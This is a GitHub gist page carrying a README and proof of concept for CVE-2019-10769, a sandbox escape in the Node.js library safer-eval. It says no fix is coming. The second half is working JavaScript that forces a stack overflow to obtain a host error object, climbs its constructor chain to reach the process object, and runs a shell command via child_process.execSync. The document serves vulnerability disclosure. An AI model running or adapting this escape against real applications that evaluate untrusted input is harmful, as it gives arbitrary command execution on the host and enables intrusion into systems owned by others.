Skip to content

Instantly share code, notes, and snippets.

@0xmanhnv
Forked from JLLeitschuh/CVE-2019-10769-README.md
Created August 25, 2021 03:34
Show Gist options
  • Save 0xmanhnv/61427fa6189651688e19c3909a54510e to your computer and use it in GitHub Desktop.
Save 0xmanhnv/61427fa6189651688e19c3909a54510e to your computer and use it in GitHub Desktop.

Safer-Eval Sandbox Escape POC

safer-eval is a node JS library that supposedly provides a 'safe' way to 'eval' untrusted javascript.

As the maintainer warns in the README:

Warning: The saferEval function may be harmful - so you are warned!

However, it is still used by various libraries to parse/execute untrusted code in such a way that there is an implied execution sandbox.

Bypass

The bypass provide here was originally reported to the project vm2 by @XmiliaH in an issue here.

Bypass Implications

  • Remote Code Execution
  • Cross Site Scripting

Resources

Fix

There will be no fix for this vulnerability. Please consider using a different library.

const theFunction = function () {
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
};
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
return i.mainModule.require("child_process").execSync("id").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment